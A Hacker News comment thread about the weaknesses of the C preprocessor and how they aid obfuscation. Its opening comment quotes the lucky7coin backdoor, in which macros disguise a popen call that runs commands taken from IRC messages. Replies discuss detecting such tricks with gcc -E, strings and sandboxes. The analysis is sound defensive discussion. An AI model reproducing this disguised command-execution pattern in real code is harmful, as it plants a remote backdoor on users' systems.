Hacker News Reader

Comment by pjc50 | Hacker News Reader

The C preprocessor is a horrendous way of doing metaprogramming that was implemented because it was relatively easy to do as a separate pass. There's a reason why very few other languages have done it this way.

A good knowledge of the preprocessor is essential for writing obfuscated and underhanded C. For example, the lucky7coin backdoor: https://github.com/alerj78/lucky7coin/issues/1 where the code

  if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
  {
    CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");

expands to

  if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
  {
    FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");

View on HN

IMO, whether or not the C preprocessor is good depends on what you're trying to do and how you do it. I doubt there are any preprocessors or macro systems that can't be used to obfuscate code - That's basically the definition of what they do, modify your code before you compile it. Obviously, and strange/unexplained preprocessor usage should be examined and preferably removed.

The example you gave is not really fair though, because it seems pretty obvious to me that nobody ever looked at that code - it hardly matters they hid the backdoor in the the C pre-processor. If you take a look at the repo, it only has three commits - With the first one (https://github.com/alerj78/lucky7coin/commit/07d7e5fc53e5673...) being a supposed import of the code from the repo it used to exist in, and it's in this commit where the backdoor was inserted. The real issue is that people were running code from someone who appears to be a complete unknown, has no history for his code, and just assumed it was the same as the old code without checking.

Preprocessors are uniquely problematic in this regard, though, since they're just simple text-substitution engines. Things like templating (as in C++), in-language macros (as in Lisp variants), or language-level metaprogramming facilities (as in Ruby, Python, ...) all have access to actual entities in the language, which constrains their effects in a way that's safer and easier to reason about.

Even in Java – this is something next to no one knows – you can use metaprogramming and get the full AST, which you can then manipulate at will.

I'm not looking to deny that straight text-substitution has it's drawbacks, you're completely right. But that being said, I still don't see it as big of a deal as it seems. Generally speaking, bad/malicious pre-processor abuse like this sticks out like a sore thumb when you're reviewing code. If you don't have anybody reviewing the code then it doesn't really matter how you disguised it. At least with the C preprocessor, if there's something you're unsure about, you can run the preprocessor separately and look at the output, clearing up all doubt over what it does.

Also worth noting, one of the nicer things about the design of the C preprocessor is that it can be applied to a lot of different file-types. In more complicated low-level C projects, you can run the preprocessor over your C code, assembly code, linker scripts, etc.. which is a huge gain since you can have access to all your constants and simple macros, simplifying work and duplication. You can't get that with something tied to the language - Which is unfortunate, because like you said it's better to avoid the preprocessor, since writing things on the language-level makes them much easier to reason about.)

It seems to me that you could create something at least this devious using C++ templates and operator overloading. I wouldn't bet against it in the other languages you mention, either.

This is so absurdly simple and yet devastating. Reading some of the comments on the Github issue you posted, this stood out (I don't know anything about lucky7coin):

> So disappointing such code was not reviewed by Vern and team before running it on the server where damage could result.

So this code was actually put into production somewhere at some point -- wow. And cursory code review and compiling from source will do absolutely nothing here.

This is why you dump out source after the preprocessor has had its way with it.

gcc -E somethinghokey.c | less

The only thing you could hope to do would be to look for PRIVMSG in the binary after compiling or to look at the file post preprocessor.

That often expands into hundreds of thousands of lines though. It's more routine to go backdoor-hunting in binaries; you've given me the interesting idea of running `strings` on the binary and looking for anything that's not in the source.

Watch out for running `strings` on untrusted input!

See e.g. https://lcamtuf.blogspot.com.au/2014/10/psa-dont-run-strings...

Instead, do it like a pro and run it from a live CD or a throwaway VM. Any work on untrusted code should be done in an trust-reduced environment.

This makes me sad. Literally the whole point of 'strings' is for poking around in unknown files, and they managed to break even that.

Even if you limit yourself to a purely textual pass, you can implement much better preprocessing.

Exactly. If the preprocessor respected file scope or better yet namespace scope it would be much much better. The way it works now there is no encapsulation. preprocessor definition in one library header will inadvertently affect code in other libraries, depending on the order in which they happen to be included and compiled. Its such a mess its embarrassing we still put up with it in the year 2015.

In 1999 or so I tried to write a better macro preprocessor. I called it MPP. Here it is, via the Wayback Machine

https://web.archive.org/web/20070209223522/http://users.foot...

Oh, I have the sources. I haven't lost anything. Why I don't host that project anywhere is that I'm not all that proud of it.

I worked for one startup some almost years ago whose guys looked at that thing before they hired me and liked it.

MPP has namespaces, and it also tries to preserve whitespace (expansions occurring at some indentation level are indented). It could be used for Python, in theory.

Thinking along those lines, I posted to a Python newsgroup around then: reactions were mixed:

http://code.activestate.com/lists/python-list/9193/

Nothing a pass through -E and clang-format wouldn't reveal.

Reply on news.ycombinator.com